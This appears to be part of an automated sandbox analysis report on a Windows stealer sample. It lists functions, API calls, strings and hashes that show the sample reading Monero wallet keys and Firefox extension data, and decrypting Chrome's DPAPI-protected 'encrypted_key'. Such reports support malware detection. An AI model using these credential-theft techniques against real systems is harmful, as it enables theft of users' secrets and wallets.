Instruction Fuzzy Hash: DAE1D472D101189AEB05FBA4DE92EEE733CAF64300F50855AF51776091EF386A49CB72

Function 00A7D400 Relevance: 6.3, APIs: 4, Instructions: 252filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00A8A740: lstrcpy.KERNEL32(00A90E17,00000000), ref: 00A8A788

Part of subcall function 00A8A9B0: lstrlen.KERNEL32(?,006888B8,?,\Monero\wallet.keys,00A90E17), ref: 00A8A9C5
Part of subcall function 00A8A9B0: lstrcpy.KERNEL32(00000000), ref: 00A8AA04
Part of subcall function 00A8A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00A8AA12

Part of subcall function 00A8A8A0: lstrcpy.KERNEL32(?,00A90E17), ref: 00A8A905

Part of subcall function 00A88B60: GetSystemTime.KERNEL32(00A90E1A,0068E2E8,00A905AE,?,?,00A713F9,?,0000001A,00A90E1A,00000000,?,006888B8,?,\Monero\wallet.keys,00A90E17), ref: 00A88B86

Part of subcall function 00A8A920: lstrcpy.KERNEL32(00000000,?), ref: 00A8A972
Part of subcall function 00A8A920: lstrcat.KERNEL32(00000000), ref: 00A8A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00A7D481
lstrlen.KERNEL32(00000000), ref: 00A7D698
lstrlen.KERNEL32(00000000), ref: 00A7D6AC
DeleteFileA.KERNEL32(00000000), ref: 00A7D72B

Memory Dump Source

Source File: 00000000.00000002.1297793080.0000000000A71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A70000, based on PE: true

Associated: 00000000.00000002.1297776705.0000000000A70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000CBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000CCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000E58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298376068.0000000000F6F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298508561.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298529738.000000000110B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a70000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: e2a749375f90571f772b2972e8cf1e34bca38699193a31721595ff3dabdae5ea
Instruction ID: 99355752618a5c85dc933472b0400421357cfc7cdff20270cd2d9e35834beb69
Opcode Fuzzy Hash: e2a749375f90571f772b2972e8cf1e34bca38699193a31721595ff3dabdae5ea
Instruction Fuzzy Hash: 0291E772D101049BEB08FBA4DE96EEE7338AF64300F50455AF517B6051EF386A49CB72

Function 00A7D780 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00A8A740: lstrcpy.KERNEL32(00A90E17,00000000), ref: 00A8A788

Part of subcall function 00A8A9B0: lstrlen.KERNEL32(?,006888B8,?,\Monero\wallet.keys,00A90E17), ref: 00A8A9C5
Part of subcall function 00A8A9B0: lstrcpy.KERNEL32(00000000), ref: 00A8AA04
Part of subcall function 00A8A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00A8AA12

Part of subcall function 00A8A8A0: lstrcpy.KERNEL32(?,00A90E17), ref: 00A8A905

Part of subcall function 00A88B60: GetSystemTime.KERNEL32(00A90E1A,0068E2E8,00A905AE,?,?,00A713F9,?,0000001A,00A90E1A,00000000,?,006888B8,?,\Monero\wallet.keys,00A90E17), ref: 00A88B86

Part of subcall function 00A8A920: lstrcpy.KERNEL32(00000000,?), ref: 00A8A972
Part of subcall function 00A8A920: lstrcat.KERNEL32(00000000), ref: 00A8A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00A7D801
lstrlen.KERNEL32(00000000), ref: 00A7D99F
lstrlen.KERNEL32(00000000), ref: 00A7D9B3
DeleteFileA.KERNEL32(00000000), ref: 00A7DA32

Memory Dump Source

Source File: 00000000.00000002.1297793080.0000000000A71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A70000, based on PE: true

Associated: 00000000.00000002.1297776705.0000000000A70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000CBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000CCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000E58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298376068.0000000000F6F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298508561.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298529738.000000000110B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a70000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: c1247381cc89ec5be16e1f477c7893d52e94a0484c940dc09c8cabb3320555f5
Instruction ID: 7f133153090e33ff260760fd74fc884a6c8e14f63bd0c60b26609b8a4c1e5f8d
Opcode Fuzzy Hash: c1247381cc89ec5be16e1f477c7893d52e94a0484c940dc09c8cabb3320555f5
Instruction Fuzzy Hash: 4781E172D101049AEB08FBA4DE96EEE7378BF64300F50455AF517B6091EF386A09CB72

Function 00A7F4A0 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 154stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00A8A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00A8A7E6

Part of subcall function 00A799C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00A799EC
Part of subcall function 00A799C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00A79A11
Part of subcall function 00A799C0: LocalAlloc.KERNEL32(00000040,?), ref: 00A79A31
Part of subcall function 00A799C0: ReadFile.KERNEL32(000000FF,?,00000000,00A7148F,00000000), ref: 00A79A5A
Part of subcall function 00A799C0: LocalFree.KERNEL32(00A7148F), ref: 00A79A90
Part of subcall function 00A799C0: CloseHandle.KERNEL32(000000FF), ref: 00A79A9A

Part of subcall function 00A88E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00A88E52

Part of subcall function 00A8A740: lstrcpy.KERNEL32(00A90E17,00000000), ref: 00A8A788

Part of subcall function 00A8A9B0: lstrlen.KERNEL32(?,006888B8,?,\Monero\wallet.keys,00A90E17), ref: 00A8A9C5
Part of subcall function 00A8A9B0: lstrcpy.KERNEL32(00000000), ref: 00A8AA04
Part of subcall function 00A8A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00A8AA12

Part of subcall function 00A8A8A0: lstrcpy.KERNEL32(?,00A90E17), ref: 00A8A905

Part of subcall function 00A8A920: lstrcpy.KERNEL32(00000000,?), ref: 00A8A972
Part of subcall function 00A8A920: lstrcat.KERNEL32(00000000), ref: 00A8A982

StrStrA.SHLWAPI(00000000,00000000,00000000,?,?,00000000,?,00A91580,00A90D92), ref: 00A7F54C
lstrlen.KERNEL32(00000000), ref: 00A7F56B

Strings

moz-extension+++, xrefs: 00A7F5AD
^userContextId=4294967295, xrefs: 00A7F59C

Memory Dump Source

Source File: 00000000.00000002.1297793080.0000000000A71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A70000, based on PE: true

Associated: 00000000.00000002.1297776705.0000000000A70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000CBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000CCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000E58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298376068.0000000000F6F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298508561.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298529738.000000000110B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a70000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileLocal$Alloclstrcatlstrlen$CloseCreateFreeHandleReadSize
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 998311485-3310892237
Opcode ID: aba5be2f666638bedf0663ea08ad4480223d85d30ea7dd7d696e508af4ee456f
Instruction ID: 1fe16285adfe2665518b30ac27f8dc6b841ddb23daa4ce23ad8c4bf26ebafca7
Opcode Fuzzy Hash: aba5be2f666638bedf0663ea08ad4480223d85d30ea7dd7d696e508af4ee456f
Instruction Fuzzy Hash: D351F472D10108ABEB04FBB4DD96DED7779AF64300F508529F416A7191EF386A09CBB2

Function 00A83560 Relevance: 6.1, APIs: 4, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1297793080.0000000000A71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A70000, based on PE: true

Associated: 00000000.00000002.1297776705.0000000000A70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000CBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000CCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000E58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298376068.0000000000F6F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298508561.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298529738.000000000110B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a70000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen
String ID:
API String ID: 367037083-0
Opcode ID: 5afd1924775a700ca37d0912f73280ed400d8e16d496c5b830d90052d9a06256
Instruction ID: fa66c02b56c74fb17aa4017c9b64bf8008ff9fd95618725c01a87301cfb27062
Opcode Fuzzy Hash: 5afd1924775a700ca37d0912f73280ed400d8e16d496c5b830d90052d9a06256
Instruction Fuzzy Hash: FF414F72D10109AFDF04FFA4D945AFEB7B4BF54704F008429E416A6290EB75AA05CFA1

Function 00A79CE0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 00A8A740: lstrcpy.KERNEL32(00A90E17,00000000), ref: 00A8A788

Part of subcall function 00A799C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00A799EC
Part of subcall function 00A799C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00A79A11
Part of subcall function 00A799C0: LocalAlloc.KERNEL32(00000040,?), ref: 00A79A31
Part of subcall function 00A799C0: ReadFile.KERNEL32(000000FF,?,00000000,00A7148F,00000000), ref: 00A79A5A
Part of subcall function 00A799C0: LocalFree.KERNEL32(00A7148F), ref: 00A79A90
Part of subcall function 00A799C0: CloseHandle.KERNEL32(000000FF), ref: 00A79A9A

Part of subcall function 00A88E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00A88E52

StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00A79D39

Part of subcall function 00A79AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00A74EEE,00000000,00000000), ref: 00A79AEF
Part of subcall function 00A79AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00A74EEE,00000000,?), ref: 00A79B01
Part of subcall function 00A79AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00A74EEE,00000000,00000000), ref: 00A79B2A
Part of subcall function 00A79AC0: LocalFree.KERNEL32(?,?,?,?,00A74EEE,00000000,?), ref: 00A79B3F

Part of subcall function 00A79B60: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00A79B84
Part of subcall function 00A79B60: LocalAlloc.KERNEL32(00000040,00000000), ref: 00A79BA3
Part of subcall function 00A79B60: LocalFree.KERNEL32(?), ref: 00A79BD3

Strings

"encrypted_key":", xrefs: 00A79D30
DPAPI, xrefs: 00A79D89
, xrefs: 00A79DC1

Memory Dump Source

Source File: 00000000.00000002.1297793080.0000000000A71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A70000, based on PE: true

Associated: 00000000.00000002.1297776705.0000000000A70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000CBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000CCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000E58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298376068.0000000000F6F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298508561.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298529738.000000000110B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a70000_file.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$CloseCreateDataHandleReadSizeUnprotectlstrcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 2100535398-738592651
Opcode ID: 9ec0f8025d9c2202d566c1936a4a5084349d02d3862a417b6d027c51f07a0cc7
Instruction ID: 36e32b04ad6acf0512d915389b1551bdaba50706f5b7e296ecddd34c42d553e1
Opcode Fuzzy Hash: 9ec0f8025d9c2202d566c1936a4a5084349d02d3862a417b6d027c51f07a0cc7
Instruction Fuzzy Hash: CA3123B6D10109ABCF14EBE4DD85AEF77B8BF48304F14C559E905A7241FB349A04CBA1

Function 00A85050 Relevance: 6.0, APIs: 2, Strings: 2, Instructions: 48stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00A88DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00A88E0B

lstrcat.KERNEL32(?,00000000), ref: 00A8508A
lstrcat.KERNEL32(?,0068E928), ref: 00A850A8

Part of subcall function 00A84910: wsprintfA.USER32 ref: 00A8492C
Part of subcall function 00A84910: FindFirstFileA.KERNEL32(?,?), ref: 00A84943

Strings

h, xrefs: 00A850B5
(h, xrefs: 00A8509B

Memory Dump Source

Source File: 00000000.00000002.1297793080.0000000000A71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A70000, based on PE: true

Associated: 00000000.00000002.1297776705.0000000000A70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000CBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000CCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000E58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298376068.0000000000F6F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298508561.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298529738.000000000110B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a70000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileFindFirstFolderPathwsprintf
String ID: (h$h
API String ID: 2699682494-1439427960
Opcode ID: 7bb378e8aedfc6fa9eb8c2985c60d5e7da47cf6a437d824f98e879b2d7c20fec
Instruction ID: ce862ec0ff06f56288a128d73a6c93a64b7272b97cb6cb51677966919ded5c16
Opcode Fuzzy Hash: 7bb378e8aedfc6fa9eb8c2985c60d5e7da47cf6a437d824f98e879b2d7c20fec
Instruction Fuzzy Hash: 41019676900208A7CB54FB74DD42FEE737CAB64300F404694B68957191FE759AC88BE2

Function 00A892E0 Relevance: 6.0, APIs: 4, Instructions: 39fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00A83AEE,80000000,00000003,00000000,00000003,00000080,00000000,?,00A83AEE,?), ref: 00A892FC
GetFileSizeEx.KERNEL32(000000FF,00A83AEE), ref: 00A89319
CloseHandle.KERNEL32(000000FF), ref: 00A89327

Memory Dump Source

Source File: 00000000.00000002.1297793080.0000000000A71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A70000, based on PE: true

Associated: 00000000.00000002.1297776705.0000000000A70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000CBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000CCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000E58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298376068.0000000000F6F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298508561.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298529738.000000000110B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a70000_file.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleSize
String ID:
API String ID: 1378416451-0
Opcode ID: 0af03702c6cdeb3fea2acef252d16e6e60c45ab3e69e040fdd1bc176a96a9a47
Instruction ID: fc82391b506ddf4a1d6b168a2e102792f557205934ecea6d2fd611ee292b2a5d
Opcode Fuzzy Hash: 0af03702c6cdeb3fea2acef252d16e6e60c45ab3e69e040fdd1bc176a96a9a47
Instruction Fuzzy Hash: D8F04F75E44308BBDB10EFB0DC49FAE77B9EB48710F10C298B691AB2C0DA7096018B80

Function 00A8C742 Relevance: 6.0, APIs: 4, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 00A8C74E

Part of subcall function 00A8BF9F: __amsg_exit.LIBCMT ref: 00A8BFAF

__getptd.LIBCMT ref: 00A8C765
__amsg_exit.LIBCMT ref: 00A8C773
__updatetlocinfoEx_nolock.LIBCMT ref: 00A8C797

Memory Dump Source

Source File: 00000000.00000002.1297793080.0000000000A71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A70000, based on PE: true

Associated: 00000000.00000002.1297776705.0000000000A70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000CBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000CCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000E58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298376068.0000000000F6F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298508561.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298529738.000000000110B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a70000_file.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__updatetlocinfo
String ID:
API String ID: 300741435-0
Opcode ID: bffa206c600463ddc5414ee2bfa2a813353caf3aef68829b48b6f2c9ce254e7f
Instruction ID: ec8cd911a568b135eb9aaf1143af4f980a9e8e1bad98f771e6007ccc42b0b8b0
Opcode Fuzzy Hash: bffa206c600463ddc5414ee2bfa2a813353caf3aef68829b48b6f2c9ce254e7f
Instruction Fuzzy Hash: D9F0B432A243109FD720BBB85A07B4D33A0AF00730F20414AF505A61D2DF745D419F7A

Function 00A84F40 Relevance: 5.1, APIs: 4, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00A88DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00A88E0B

lstrcat.KERNEL32(?,00000000), ref: 00A84F7A
lstrcat.KERNEL32(?,00A91070), ref: 00A84F97
lstrcat.KERNEL32(?,00688A28), ref: 00A84FAB
lstrcat.KERNEL32(?,00A91074), ref: 00A84FBD

Part of subcall function 00A84910: wsprintfA.USER32 ref: 00A8492C
Part of subcall function 00A84910: FindFirstFileA.KERNEL32(?,?), ref: 00A84943

Part of subcall function 00A84910: StrCmpCA.SHLWAPI(?,00A90FDC), ref: 00A84971
Part of subcall function 00A84910: StrCmpCA.SHLWAPI(?,00A90FE0), ref: 00A84987
Part of subcall function 00A84910: FindNextFileA.KERNEL32(000000FF,?), ref: 00A84B7D
Part of subcall function 00A84910: FindClose.KERNEL32(000000FF), ref: 00A84B92

Memory Dump Source

Source File: 00000000.00000002.1297793080.0000000000A71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A70000, based on PE: true

Associated: 00000000.00000002.1297776705.0000000000A70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000CBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000CCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000E58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298376068.0000000000F6F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298508561.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298529738.000000000110B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a70000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID:
API String ID: 2667927680-0
Opcode ID: c4b6b95494901d8ee4a716ad85ab6c2839c3caca4f7145a657850e8ba44f0a10
Instruction ID: cbad6725c9f27393b961f62a730eee4d1247ea9fe8d6d460277ae6e40e633722
Opcode Fuzzy Hash: c4b6b95494901d8ee4a716ad85ab6c2839c3caca4f7145a657850e8ba44f0a10
Instruction Fuzzy Hash: 5921AA769002087BCB54FBB0DD46FED337CBB58700F404694B69993581EE759BC88BA2

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A7C820 lstrlen,CryptStringToBinaryA,lstrcat,lstrcat,lstrcat,	0_2_00A7C820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A79AC0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	0_2_00A79AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A77240 GetProcessHeap,RtlAllocateHeap,CryptUnprotectData,WideCharToMultiByte,LocalFree,	0_2_00A77240
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A79B60 CryptUnprotectData,LocalAlloc,LocalFree,	0_2_00A79B60
